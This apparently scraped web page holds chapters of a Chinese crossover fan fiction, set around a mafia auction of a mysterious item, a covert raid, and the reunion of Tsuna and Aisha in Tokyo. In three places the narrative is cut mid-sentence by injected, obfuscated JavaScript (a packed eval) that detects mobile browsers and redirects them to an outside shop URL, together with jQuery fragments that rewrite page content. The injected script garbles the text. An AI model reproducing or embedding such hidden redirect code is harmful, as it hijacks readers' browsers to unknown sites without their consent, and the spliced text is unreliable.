就在短短的一瞬,被刻意疏远了一年的回忆骤然扑袭卷涌。对此沢田毫无准备,当即站在原地愣了愣。 “…这件东西不参与竞拍么?”他听见自己低声问。 其实他也不清楚自己这样询问的原因。 与其说是产生了竞价的想法,倒不如说是看到保险柜上没有悬挂任何标签,于是就这么不经思考地脱口而出了。 “损坏得太严重啦,拿出来拍卖会坏名声。”鹤见说,“我打算把它当作赠品。” “赠品?” “是啊。”老人带着他踱向近前的展柜,“不觉得这样更有意思么?赢得宝藏的人,当然也能得到当初守卫它的箱子。这本来就是件顺理成章的事。” 望着那件被小心摆放在红丝绒方枕上的神秘物品,沢田纲吉眸光沉了沉。 很难想象,刚才那个偌大的保险柜里居然只放了这么一样东西;它显然被极端看重。 层层缠覆的油布遮掩了它的本来面目,只勉强看得出其形态细长,约莫是能被握于掌中的大小。 他的视线向下,在物品垂挂的标签处停了一停。上面用漂亮的花体字记录着竞品的来源与编号。 ——Theseus-No.44。 “看来今晚的竞拍,我至少能在一样东西上听到彭格列的出价了?”船王揣摩着他的神态,半是打趣半是狡黠地说道。 还没等沢田纲吉出声回应,豪气的老者就已经大笑着拍了拍他的背,果断地结束了话题,不给他留任何反驳的机会: “走吧,时间差不多了,我们该回去了!” -- 21::00再度回到大厅的时候,侍女们正将垂落的金纱挽起。正中被收拾出一个宽敞的空间,座位摆放得错落有致,足够舒适,却又暗藏着地位之分。 绝大部分客人都已落座。看到沢田纲吉与鹤见一起出现,有人摇了摇头,对船王明目张胆的‘开小灶’行为表示无奈。 沢田与鹤见的位置都在最前排。他们坐下后又等了一会儿,待到所有人到齐,高胖的船王随即笑眯眯地站起了身。 “在座各位都是老朋友,所以我照例省去那些没用的寒暄。”他面向所有宾客,抬了抬手中的香槟酒杯。 “——我宣布拍卖会正式开始。” 泥泞的山路上,摩托车轰鸣而过,车灯下雨水如银针。 “距离目标地点还有200米,预计1分钟内到达目的地。” 21:40晚间拍卖会的节奏很快,也符合Mafia好厮杀的天性。随着从沉船上打捞出的一条蓝宝石项链以最终800万美金的价格成交,现场的气氛到达了一个小高潮。 “下面这件拍品来之不易,”拍卖师刻意将声音放轻,他用这种方式来调动客人们的好奇心,“同样来自Theseus号。它被放置在最核心的船舱中最安全的保险柜里,六把连环锁扣按顺序锁死,知道开启方式的只有它曾经的主人。” “最后为了取得它,我们不得不动用了一点其它的小手段。”拍卖师露出一个隐晦文雅的微笑,这也引发了台下客人心照不宣的低笑声。 红丝绒的方枕被推到台上。背后巨大的电子屏幕上,静静躺在正中的物品被以各种角度展示。 “女士们先生们——在你们眼前的正是Theseus沉船上最神秘、或许也是最珍贵的宝物,Theseus-44号!”拍卖师道,“起拍价,200万美金。” 整个会场先是寂静了一瞬,紧接着便响起接头接耳的轻微骚动。 “你不是在开玩笑吧?”有后排的客人大声质疑,“它看起来就像一具老鼠干尸——你为什么不把那团裹尸布揭开让我们瞧瞧呢?” 他的话引起了一阵附和的哄笑。拍卖师有点尴尬:其实并非他们故弄玄虚。在此之前他们已经尝试了多种方法,但始终无法将那团布条从44号身上剥离。它们仿佛已经生长在了一起。 按理说这样难以定价的物品(或者说废品)不该出现在拍卖会上,但船王坚持要它在前半场压轴。用他的话说,“神秘才是最让人着迷的东西。” 但看眼下客人们的反应,拍卖师不得不对鹤见的说辞表示怀疑。他维持着云淡风轻的表象,心里却已经为流拍做好了准备。 就在这时,一道柔和而清晰的出价声突然响起,划破了蚊蝇般的骚动。 “200万。” 拍卖师惊喜地朝声源望去:是40号客人,坐在中排靠后的位置。 那是个面如兰花的东洋女人,一身素色和服,没有摆什么阵仗与架子;她身后只站了一个护卫,个头不高,同样不怎么起眼。 接触到拍卖师的目光后,女人露出一个礼节性的微笑,婉转多情的样子。 “40号女士,200万一次!”拍卖师顿时如同打了鸡血般兴奋。 在这之后又有几个客人陆续举牌。与其说他们是对台上的拍品产生了兴趣,倒不如说是存心戏耍刚才出价的女客人。价格在一种堪称暧昧逗弄的气氛中逐渐上升。 “38号先生出价400万!” 沢田纲吉对这样的恶意抬价毫无兴趣。他将号牌松松拢在掌中,沉默地望着台上那件神秘的拍品。 这是他成为彭格列首领后养成的习惯。每当做决定前,他都会把两个选项的利弊各自分析一遍,以防止被自己的私人情绪干扰。 这件东西不知底细,用途不明,且大概率与混血种有关,或许会令家族扯上不必要的麻烦。 毫无疑问,他不该参与竞拍。 “40号女士,500万一次!”拍卖师高声叫道。 原本会场里轻松调笑的氛围不知何时已悄然消失了。参与竞价的客人都面露犹豫:最初他们只是想戏弄一下这位和服美人,可40号女士全程保持着淡淡的笑容,每一次出价都毫不迟疑,似乎对这次的拍品志在必得。到了现在,很难说谁才是被戏耍的那一方。 “40号女士,500万两次!”拍卖师环视一周,凭着专业的判断,他猜到40号女士这次不会再有对手。但他还是刻意停顿了一下。 台上的声音突然之间离得很远,就好像有人隔着水面说话。拍卖师确认价格的速度似乎变慢了。 “——女士们先生们,请珍惜最后的机会!” …最后的机会。 沢田纲吉的眼睫颤了颤。与此同时,心里又多出一道声音,很小声很小声的和他说话。 刚才想的都是弊端,那么拍下它的好处呢? 没有好处。他堪称冷酷地反驳道。之所以会注意到这件拍品,也只是因为它和艾莎有关,因为存放它的保险柜上刻着双头老鹰家纹,和从复仇者监狱取回的…… 嗯。但是和她有关啊。那道很小很小的声音轻轻说道。 沢田纲吉陷入沉默。号牌将掌心碦得生疼。 “40号女士,”拍卖师一边重复第三次,一边高高举起了手中的拍卖槌。 眼看着木质的槌子慢慢昂起,沢田脑中一空。无论是心里那道声音还是周围的响动都消失了。紧接着,赶在理智反应过来以前—— “550万。”在周围人的低呼声中,沢田纲吉缓缓放下号牌,平静的与拍卖师对视。 “…27号先生!”拍卖师反应过来,当即更新了出价,“550万、550万一次!” 隔着微微骚动的人群,有一道视线不动声色地落在沢田身上。视线的主人微微眯了眯眼,神色意味深长。 山腰处暴雨倾盆。 “爆破装置设置完成,因特网对接检测…完成。现在开始1分钟倒计时,60,59……” 21:50“900万。”沢田再度举牌。他板着一张扑克脸,叫人看不透他心里在想什么。 …其实他什么也没想。理智在他脑中高唱着“放弃吧放弃吧放弃吧”,他甚至能想象Reborn得知此事后一言不发子弹上膛的样子。 他不该参与竞拍。 可还是继续加码。这份坚持堪称放纵,他无暇去思索背后的原因。 “950万。”40号的声音几乎是紧跟着他响起来。 “1000万。”沢田纲吉神色不变。 整个会场寂静无声。40号在这时终于微微收敛了笑意。她挺直了背脊,仍然望着台上的拍品,却始终没有更新出价。 “27号先生,1000万两次!”拍卖师抬高了声音。 大概真的会被reborn狠狠教训一顿吧……?沢田默默想道。 他在心里轻轻叹了口气,等待着最后的结果。 “27号先生,1000万三次,成交!”拍卖师一锤定音。 几乎就在同一时刻,山体巨震,房间里灯光骤熄! “不要被任何事拖延,记住你只有十分零二秒的行动时间——现在是东京时间21:53分,行动开始!” 21:53“请各位稍安勿躁!”船王雄浑的声音盖过了一切骚动。 “备用电源会在10秒后启动。”他的语速不快,显得异常从容。 果然,房间的供电很快恢复。明亮的顶灯再度亮起,让不少客人重新定了心。 “我还以为经过零一年的事情以后,再不会有人想着入侵这里了。”船王以玩笑般的口吻说道。 他指的是01年时,猎人网站*的一组精英小队接到他人委托,企图暴力入侵拍卖场地的事。 全副武装的小队闯到建筑的第三层即被防盗系统困住,并最终全军覆没。 后来,鹤见把他们的死状公布到了猎人网站,这件事也导致里世界针对他的委托一度销声匿迹。 “现在,就让我们一起来看看——今晚这群不速之客的真面目!” 话音刚落,船王背后那块巨型电子屏幕就分化成了一小格一小格的监控画面。除却他们这层以外,整座建筑的情形尽收眼底,就好像一张无形的巨网缓缓笼罩,不可挣脱。 “看…看那边!”有客人突然出声,他颤抖地指着屏幕的左上角,“我刚刚看到它突然熄灭了!发生什么了,那边为什么没有画面!” “对方使用武器暴力侵入,损毁一两个摄像头很正常。”鹤见耸了耸肩,“放心吧,上层还有‘疯狂的科学家’威尔帝亲自设计的武装机器人把守,他们再怎么也闯不到这里。 “而且这次的动静比零一年时还要小一些……我猜他们走不到第二层。” 屏幕上第二层的监控画面被调度和放大。到处都是接到警报紧急出动的雇佣兵,正手持各类武装四处探测,看起来井然有序,一切如常。 紧接着,就在所有人的注目中,上一秒还在正常运转的监控下一秒就“啪”的一声关闭了,画面消失得叫人猝不及防,只留下满屏漆黑。 鹤见一愣。他将显示切换到第三层。同样的事再次发生了:这一次他们甚至来不及看清这层的具体情形,开启的监控就又倏然闭合。 第四层,第五层…… 鹤见切换屏幕的速度越来越快。最终,他带着浓浓的挫败感回到最开始的全局监控模式。 “……” 望着眼前的景象,偌大的空间里无人出声,甚至无人移动一步。即便是久经风浪的船王也不由屏住了呼吸。 亮起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658831|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小格正以惊人的速度黯淡下去。那不断延长的黑幕就好像一条黑色的巨蟒,阻拦它的一切东西都被其所吞噬。 有什么恐怖的东西正在接近这里。所有人不约而同地意识到这点。 ——带着无声的、山一般的威压! “你们管这个叫潜入搜查么——这就是执行部的潜入搜查么!?” 中央控制室内,安德鲁惨叫出声。 他颤颤巍巍指着影像里那堆七倒八歪的雇佣兵,还有被一刀劈开、七零八落冒着电光的机器废品。 “目前为止我没看出什么问题。”施耐德冷声道,“斩铁剑和诺玛配合得很好,没有人看到她的脸。” 看他这副理所当然的样子,不难想象斩铁剑当初到底是以怎样的光景满分通过执行部考核的。 安德鲁愤怒之至气血翻涌,原本白皙微胖的脸鼓胀得通红。 他错了,从踏进学院大门的那一刻起他就想错了。什么群龙无首、什么不复当年——卡塞尔的这帮家伙还需要什么领袖人物来带领他们么?这群神经病自己和自己就能玩得很开心! “斩铁剑,注意一下时间。”施耐德没再理会安德鲁(尽管后者捂着胸口翻着白眼,看上去很像心脏病发)。他抬手看了看手表,眉头微皱。 “你比原定计划慢了30秒。” “马上就好马上就好。”通讯那头传来吭哧吭哧的搬运声,“你不知道这些莫斯…咳,东西有多沉。” “监控系统已全部锁定。我在同时切断了下层的照明供电。”诺玛适时地补充道。现在整座建筑已完全在这台超级电脑的控制之下。 “电梯启动。” 21:56随着最后一格屏幕黯淡下去,大厅内的灯光闪烁了两下,也随之熄灭。 黑暗再度笼罩。 无论客人还是保镖,都带着恐惧而惊疑的表情四下张望,就好像入侵者会突然从哪个角落里钻出来,朝他们发动进攻。 “电梯…是电梯!” 有客人惊叫出声,其余人的目光随之聚拢到正中的观景电梯上:明黄色的圆形指示灯不知何时悄然亮起,成为了漆黑空间内的唯一光源。 可是……这怎么可能呢? 所有人都愣住了。他们不敢相信入侵者竟然这样大胆,从最核心的电梯径直而下,仿佛闲庭信步。 对方有多少人?区区一个观景电梯……能装多少人? 保镖们谨慎地包围电梯,拿枪和电筒的手都有些颤抖:他们不清楚敌人究竟携带了怎样的武器;如果不幸是重型机枪那样的东西,他们就会变成活生生的肉盾。 大厅内安静到能听见其他人的呼吸声。所有人紧张地等待着。 随着抵达的提示音清脆响起,电梯门缓缓开启。 一条钢铁巨臂随之软软垂落到门外——四五只失去战斗力的改良版莫斯卡堆叠在一起,将电梯塞得满满当当,一丝空间不留。 就在保镖们惊疑不定的时候,数十个紫色圆球从机体间隙滚出,仿佛有自我意识般四散到人群各处。 “是炸弹——快后退!” 可惜太迟了。 圆球中随即爆射出大团大团的烟雾,接触到灰色气体的人们一个接一个栽倒。很快,屋子就又重归死寂。 斩铁剑居高临下望着一切。目前任务已完成大半,剩下的只有回收拍卖台上的44号物品。 她轻轻吐了口气,正要将防毒面具附带的热感模式调回夜视。可就在这时,视野里突然有白光冲天而起。 斩铁剑微微一愣。 热感模式通过红外辐射、也就是热量成像,因此看不出事物的具体样貌,只有模糊的轮廓而已。 “见鬼,那是什么东西?人形蜡烛么?”古德里安目瞪口呆。 “…非要说的话,大概人形锅炉比较合适。”施耐德也罕见的陷入迟疑:根据斩铁剑的画面共享,那团人形的顶部和侧边带有极其罕见的高温成像。不、不该说人形——什么样的人能头顶这种高温行进?脑袋真的不会被烧化么? 画面上,人形锅炉越来越迫近。 “斩铁剑,注意防御!”施耐德嘶声急道。 不消他提醒,斩铁剑已然向后疾退。汹涌的高温扑面而来,对方趁势逼近,却被接连射出的子弹迫缓。 赤红色的子弹尽数被高强度的火焰熔化,但也成功帮斩铁剑争取了几秒时间。借着这个机会,她快速关闭了热感功能。面对死气之火,这东西只会碍事而已。 一同掐断的还有与中央控制室的通讯。不能让校董会的人看到接下来的东西。 现在耳朵和眼睛都清净了,她脑中却突然冒出沢田以前的教诲。 那时他们还窝在西西里岛的公寓里,某天聊着聊着就说起混血种与死气之火如何战斗的事。 【无论什么战斗,最重要的是发挥出自己的长项与优势。艾莎的力量与速度都不弱,不,应该说是远胜常人的程度。所以如果对上死气之火的话……追着打会比较好。】 斩铁剑踩在摇曳的锁链上。明明即将面临战斗,她还是忍不住轻笑了一下。 【对,追着打。不给敌人任何喘息的机会,直到对方露出破绽为止。】 锁链的摇晃越来越大。直到刀光照亮黑暗,火焰划破寂静。 21:57果然,是混血种。 沢田纲吉将赤红的子弹烧熔。艾莎向他提起过这种炼金弹头,印象里似乎是叫‘弗里嘉子弹’,只有在击中物体时才具备动能,击中人体则会瞬间挥发出强效麻醉剂,不伤及性命。 现在场内到处是催眠瓦斯,这于他不利。他不可能长时间屏息战斗。况且,如果对方是混血种的话…… 沢田纲吉踩在锁链上,冷静地制订了作战计划。 锁链的摇晃越来越大。他主动迎向对方的刀锋,却在缠斗一番后故意显示破绽,向下而跃。 对方当然不会放过这个机会,于是紧跟着跃下,青色的刀芒近在咫尺。 【那么倒推的话,如果是纲吉君遇到混血种,就会想办法拉远距离对吧……可如果敌人攻势猛烈,你要用什么方法?】 沢田纲吉面色不变。手中火焰层层而起,又在瞬间化作坚冰,阻挡住对方的行进。 对方反应很快,没有一头撞在冰墙上,反而在空中变了进攻姿态,一刀将寒冰切开。 可坚冰后面还是坚冰,她一共斩切了七次,到后面这动作近乎变成习惯。 而沢田就站在最后一堵冰墙之下。他们的速度不相上下,几乎只差半秒:他只是刚刚站定,这边斩铁剑的刀就已触及最后一道坚冰。 可是半秒就够了。 沢田纲吉抬起手掌。在斩铁剑能看清他的动作之前、在他能清楚地看到斩铁剑之前: “——X-Burner。” 汹涌的大空火焰直直喷发,将未完全碎裂的冰墙连同敌人一同吞没。 21:58【唔,使用这样的方法诱敌,一般混血种确实难以抵挡啦。但如果是我的话……】 几乎就在同一时刻,低低的吟唱声凭空响起。 突然出现的风刃将火焰绞碎,又带着威压凌空笼罩。 沢田纲吉凭借直觉及时抬手。大空火焰向着水平处爆发,后作用力带着他向另一方向移动。下一秒,他原本站立的地方在瞬间土崩瓦解。 斩铁剑与敌人冷冷对视。她刚刚并未完全避开攻击,所以样子难免狼狈,防毒面具的左上角缓缓碎裂,但现在她顾不上这个。 接下来发生的一切,要算作二人因多年战斗而产生的一些肌肉记忆。 沢田纲吉再度积蓄火焰;斩铁剑再度做出居合姿态。 但与此同时,一道疑云悄然划过二人心头: ——刚才的那些应对和招式,会不会、太眼熟了点? 于是再度积蓄的火焰临时变了角度,擦着斩铁剑耳边斜斜向上,烧焦了她一缕头发; 堪堪出鞘的利刃在中途强行变横斩为直刺,就贴着沢田纲吉的左肩,直直插进了他身后的墙上。 如果与对方真是敌人,那此刻他们的姿势要算作可笑了。 沢田纲吉的右手被斩铁剑按在墙上,他右边就是长刀,根本避无可避,只能束手就擒;然而斩铁剑却慢慢松开了握刀的手。他们之间的距离已经很近,两双腿有意无意的互相触碰着。 可两个人都又还嫌不够似的,又凑得更近了一点。 ——借着墙边火把那一点微弱的、细小的光芒,他们看清了彼此的脸。 “艾…”沢田纲吉的眼睛倏然睁大。但他来不及把话说完——震惊导致他把屏息的事完全抛在了脑后:灰色的催眠瓦斯猛地灌入鼻腔,他只赶得上再看、又或者说再瞪她一眼。她分不清那一眼中所包含的意味。 棕色的脑袋软软垂落到肩头,柔软的发丝亲密无间地蹭着她的脖子。 艾莎顿时浑身僵硬。她手忙脚乱地抖掉身上的武器——感谢混血种的抗药性与没有完全碎裂、还架在鼻子上的防毒面具,她总算能撑得更久一点。 武器“霹雳乓啷”掉了一地。留下她不知所措而又万分慌乱地支撑住他。 “怎…怎么办……” 身体感知到另一份热度,艾莎的耳朵悄悄变成了粉色,然后又忍不住、忍不住抱得更紧了一点。 22:03拍卖会场内的灰雾缓缓散去。台上静静躺着红丝绒的方枕,其上空空如也。 73. 第68章 好久不见 【不知……没东西……被其他人……】 有声音从很远的地方传来。但是听不清楚,他仿佛躺在一片混沌之中。 【…冥照……不一定…血统很高……】 声音变得清晰了一些。但还是听不明白。 沢田纲吉皱了皱眉。他意识到说话者使用的不是他熟练掌握的语言。 【…是我的失误…接受一切处罚。】 意识更加回笼。这次他辨识出了说话者的声音。 艾莎…… 沢田纲吉挣扎着动了动眼皮。下一秒,说话声戛然而止。 “——纲吉君,你醒了!?” 他睁开眼睛。视野被女孩放大的面庞占据了大半,她头顶是一圈水溶溶的、橙黄色的灯光,她就沐浴在光里,脸上细小的绒毛清晰可见……沢田纲吉大脑宕机了三秒。催眠瓦斯还在发挥效力,让他一时反应不过来目前的状况。 “现在感觉怎么样,头还晕么?” 女孩边说边伸手碰了碰他的额头。凉丝丝的温度,他一面发出一声轻而享受的喟叹,一面忍不住想现在已是夏天了,她的手怎么还这样凉。 “纲吉君?能听见我说话么?” 看他一直不答话,女孩脸上流露出焦急的神态来。他张了张唇,试图说些什么来安抚她。可这样的尝试到底是徒劳的,后脑传来的触感异常柔软,但又和枕头不大一样……他有些懒倦地半阖上眼,再度感觉到昏昏欲睡。 …… 话说回来,这个视角和姿势,其实是膝枕吧。 …… 是膝枕啊。 理智回笼。沢田纲吉一秒钟瞪圆了眼睛。 按理说他现在应该敏捷地一跃而起拉开距离。可现实是艾莎看出他的意图,扶着他的背把他缓缓扶了起来。 趁着这个机会,他终于看清了她的全貌:狼狈,毫无疑问。右边脸脏脏的,能看到泥印;头发也凌乱地散着,有一缕被烤焦了,杂草一样支棱在一旁。 她还穿着黑色的作战服,只不过上衣褪到了腰间,露出了里面皱皱的白色T恤,T恤正中间是一个巨大的唐老鸭头像。 这只全世界著名的暴躁鸭子正恶狠狠地盯着他,和满脸心虚的艾莎形成了鲜明对比。 ……一想到刚才把她当作敌人与之认真战斗时她就是这么一副打扮,一股熟悉的无力感霎时涌上沢田心头。 他微微低头,发现身上还盖着几张聊胜于无的报纸,盖在胸口的那张随着他起身的动作滑落在地,又被风卷去,整个场面要多凄凉有多凄凉。 沢田纲吉:“……” 他把剩下的报纸囫囵拿下放到一边。 今晚发生的事一件一件在脑中掠过。他粗粗理了一遍思绪,有太多想说的,反而导致那些更重要的一时半会问不出口。 “我们现在…在哪儿?” 最后,沢田有些干涩地出声询问道。 他们正坐在一张长椅上,看样子已经离拍卖会场很远。长椅旁边就是路灯,几只飞蛾在灯下盘旋;橙黄色光芒笼罩的范围有限,周围的树木都好像是蓝灰色的影子。 除了虫鸣以外,近处就没有其它声音。路的尽头有一个推车支起的小摊贩,几个上班族打扮的男子挤在摊前,都喝得醉醺醺的,荒腔走板地唱着一支日本民谣。 “…东京,”艾莎低声说,她抬头飞快地看了他一眼,“歌舞伎町附近的公园里。” ……东京。她到底是怎么带着昏迷不醒的他成功跋涉了这么远啊。 沢田纲吉有些头疼地揉了揉眉心。他不知道怎么提起那场荒唐的打斗——甚至有点分不清自己现在是恼火更多还是哭笑不得更多。但不管怎么说,在这一切之前,首先还是要确认她是否受伤—— “我没受伤啦……”艾莎注意到他的视线,抢先一步说道,她匆匆捋了捋头发,又拿手背在侧脸用力蹭了蹭(可惜泥印已经干涸,所以根本没被擦掉)。 接着,尽管急于解释,但她其实也不知道该从哪里说起。于是最后说出口的东西同样没头没尾的: “纲吉君还记得《荒野之息》么,我之前在公寓玩过的那个?” 沢田一愣。他当然记得那个游戏,茫茫的荒原与孤单的勇士,当时就是在游戏悠扬的乐声里,她第一次向他提起混血种与往事。 距离那晚已经过去一年多了……平常他不怎么回忆这些,自顾自地以为淡忘了。可当她再次提起,他才发现这些记忆又随着她的话语擅自鲜活起来。 它们轻而易举地跃过时光,也令他的心陷入一种久违的鼓噪。 拍卖会的事好像一下子没那么重要了。他望着她的脸愣神,心里更想知道她来东京做什么、这段时间过得好不好。 “《荒野之息》第二部提前发售了;我来东京排预售,顺便帮我二师嫂办点事……”艾莎说得磕磕绊绊的,“然后就被学院通知有临时任务、我不知道纲吉君也在那里……” 这听起来像在找借口。她十分郁闷地想。 这和她想象中的重逢完全是两码事——当然,她也没怎么细致地想过再次见面应该是怎样的时间地点——但总归不能是真刀真枪拳拳到肉的搏斗后他被她弄的催眠瓦斯迷昏最后在公园里醒来两个人尴尬地面面相觑这种搞笑情节!这太蠢了,为什么她没能立即认出他来啊? 早知道不该接这个任务的。她懊恼地闭了闭眼,鼓起勇气抬头直面他——将心比心,突然遇到这种事,不生气是不可能的吧…… 长椅的另一端,褐发青年微微抿唇,他脸上没什么表情,确实是有点生气的样子;可暖棕色的眼中流露出的情绪更多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沢田纲吉不自在地清了清嗓子。他看了下来电显示,然后闭了闭眼,一脸生无可恋的按下了通话键。 “喂,reborn……” “今晚的事Ⅸ世都知道了。”他的家庭教师相当冷酷地截断了话头,“鹤见向他盛赞了你的表现——不但从入侵者手中保护了他和其他客人,而且像个真正的mafia一样赢得了拍卖。他夸你开始上道了。” 沢田纲吉:“……” 等等,这个先后顺序是不是有点问题——而且什么叫做像一个真正的mafia一样——mafia的意思难道就是随心所欲地乱花钱么! “…什么?”他强作冷静地追问更多情报。事情的发展似乎和他预想中不大一样。 74. 第69章 彭格列式假期 “难道不是么?”reborn淡淡地反问。不知为什么,沢田总觉得从他的语气里听出了一丝丝调侃。 “‘为了保护拍品,彭格列Ⅹ世与入侵者进行了激烈的战斗,并一路追逐入侵者到了会场之外。我们醒来的时候,Ⅹ世、入侵者还有拍品都不见了。’这是鹤见的原话。顺带一提,他向家族索要两千万美金,包括你今晚的竞标与场地维修费用。要拒绝么?” ——拒绝啊。两千万美金什么的请务必拒绝好么? 这是日常为财务问题头疼的彭格列首领的第一反应。紧接着,他想起这件事的‘罪魁祸首’就在身旁,转头一看——艾莎正眼巴巴地望着他,大概是猜到了来电内容,乖巧中透露出实打实的心虚。 “…知道了。”沢田纲吉顿了顿,不动声色地切换成意大利语,“走首领私账…可以么?” 严格意义上说,mafiaboss不能算是一种职业,当然也就没有定期发工资的说法。身为首领沢田有一个私人账户,但他自己也不清楚里面的具体金额。 “那是你的个人资产,当然随你支配。”reborn不以为意(沢田有种感觉,他好像早就预料到会是这么个结果了),“目前西西里没有其它要你决策的事了。我们还有3分钟的通话时间,还有什么要说的么?” “什么3分钟?”沢田纲吉愣了愣。他下意识看了眼手表——现在是东京时间11:57分,西西里那边应该还是下午。 “你的年假。”reborn以一种异常正派的口吻提醒道。 听到他这种平板无波的口气,沢田顿时心中一凛。 他想起中学的时候,reborn总是用同样的语气说出最无厘头的话来。 “你不知道么?也难怪…这是从Ⅰ世时期传承下来的规定:绝不打扰在休长假的家族成员。也就是所谓的‘彭格列式休假’,在mafia间可是很受欢迎的喔?” 从没听说过这种东西!太离谱了,别以为在前面加个‘彭格列式’就能蒙混过去啊喂! 沢田纲吉心里的吐槽机疯狂运转。 “等等!‘绝不打扰’…是什么意思?”他着急忙慌地追问道。 “——在你休假期间,不会有任何mafia的事打扰到你。”reborn简明扼要地向他解释,“你大可以把自己看作里世界之外的人——接下来的七天,里世界的一切通道都会向你暂时关闭。” “也就是说…”沢田纲吉谨慎地作二次确认,“这七天完全不用我处理家族的事?” “对。” “…我回家连打七天游戏也没所谓?”他大着胆子更进一步。 “可以。”reborn说。但他说前嗤笑了一声,充分表达了“你就这点出息”的王之蔑视。 幸福来得太突然,沢田纲吉顿时陷入沉默。 有时候人就是这样的。曾经非常想要的东西摆在面前唾手可得,反而又会觉得不安了。 “那这期间的家族事务怎么办?” “会由其他守护者代理。” reborn的回复越发简洁,摆明了不想和他长谈。 “船王那边怎么说?”沢田继续追问。他不认为两千万美金就能让船王放弃追究今晚的事,他本想亲自去和鹤见交涉的。 “Ⅸ世已经全部谈妥了。鹤见的事不用你操心…会场被成功入侵已经够丢脸了,比起竞品被盗,他应该也更愿意接受现在的说法吧?”reborn淡淡地说,“他说要当面向你致谢——等你的年假结束之后。” “所以…就这样?”沢田纲吉微微睁大眼睛。他试图厘清今晚发生的一切的因果逻辑,但毫不意外地以失败告终。 “就这样。”reborn说,“…还有15秒。记住,与里世界联系的中断是双向的。这期间不会有mafia来干扰你,但是同样,你也难以得到家族的帮助。阿纲,别给自己惹太多麻烦,记住你的假期只有七天。” “——假期愉快。” 说完,他的家庭教师干脆地挂断了电话。 直到“嘟嘟”的忙音响了三下,沢田纲吉才想起将手机从耳边移开。 “怎么样?”艾莎立即问道。她异常紧张,知道自己大概给他惹了很大的麻烦。 沢田纲吉有点茫然地看着她。他也还没能完全消化刚才的信息: 【里世界的一切通道都会向你关闭……】 这算什么年假……这是流放吧? 他缓缓露出一个苦笑。心情与其说放松,不如说是无所适从。 -- “七天的假期啊……”艾莎眨了眨眼,“怎么感觉…像灰姑娘一样?” “不要做奇怪的联想啊艾莎……” 沢田纲吉嘴角一抽。 他倒也不是不能理解她的脑回路——身份的陡然变化、还有七天的时间限制,确实和“灰姑娘”的童话故事有异曲同工之处。 只不过……如果他是灰姑娘,那告知这一切的reborn不就承担了仙女教母的角色么? 沢田代入想象了一下,然后默默打了个寒颤。 …这也太恐怖了,是足以连着做一个礼拜噩梦的程度。 “听reborn的意思,这七天纲吉君可以不用管mafia的事,完完全全把自己当作一个普通人吧?”艾莎继续道。她比沢田更快意识到了这个机会的来之不易。 “纲吉君打算怎么过?” 总而言之,还是先回家吧……? 从眼下的情形看,这才是最正确的判断。 然而,望着一脸关切的女孩,鬼使神差地,沢田把这句话重新吞咽了回去。 “先不说这些……”他摇了摇头,“艾莎来东京多久了?” “昨天才到。”女孩愁眉苦脸地叹了口气,“我最近也在休年假。本来计划排完游戏预售就去送请帖的……结果临时接到那么个任务。” “请帖?” “嗯。”她像是想到了什么,边说边露出一个小小的、明快的笑容。 “——我二师兄要结婚啦。” 接着通过闲聊,沢田得知艾莎二师兄的女朋友原来也是东京人,只是因为一些原因暂时无法回日本。 前不久艾莎的二师兄求婚成功,正赶上她计划来日本,于是二师嫂就委托她帮忙给亲友递送喜帖。 “也不光是亲友啦……绘梨衣说有很多想要感谢的人,所以让我带了一大堆喜糖。”艾莎笑着轻轻拍了拍身边的背包。包被塞得鼓鼓囊囊的,里面全是绘梨衣自己挑选、然后亲手包好的糖果。本来二师兄也要帮忙,但他打的结实在不好看,尝试几次后就被赶回厨房做饭。 一提到绘梨衣和路明非,她的话就不自觉的变多了,眼睛也变得亮晶晶的。沢田纲吉静静听着,就像是被她感染了一样,眼神也渐渐柔软起来。 “…猜我二师兄怎么求的婚?啊、”说着说着,她脸上突然一凉。艾莎抬头望着漆黑夜空,有些迟疑地伸出手掌。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658833|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“是不是下雨了?” 话音未落,又是几大滴雨水砸落下来。东京的初夏总是这样,雨势迅疾,不给人留反应的时间。 “糟糕…我没带伞。”艾莎边说边把背包拉到胸前——里面还装着喜帖,淋湿就糟糕了。 沢田则反应很快地脱下西装外套罩到她头上。这纯粹是本能反应,展开以后他才发现外套背部有好几道长长的破口。他一眼看出那是切痕,估计是在刚才的打斗中留下的。 他的衣服被她的刀切成了碎布条,现在雨水正顺着裂缝簌簌落下。 沢田纲吉:“……” “我、我不是故意的!”艾莎窘迫地大声道,“我我我会赔的…等我拿到这个月的工资!” 雨势肉眼可见地变大了。她拉着他站起来,匆匆地向前跑去。 雨点落在他们脚边和身上,反而让手心的温度变得更加滚烫。 -- 他们在尽头那个推车支起的小摊贩处停下,这是距离他们最近的避雨地点。 艾莎撩开横排的蓝色幌子,大骨汤的香气扑面而来,两个汤锅都架在柜台后面,白色蒸汽在灯下热腾腾地沸散。 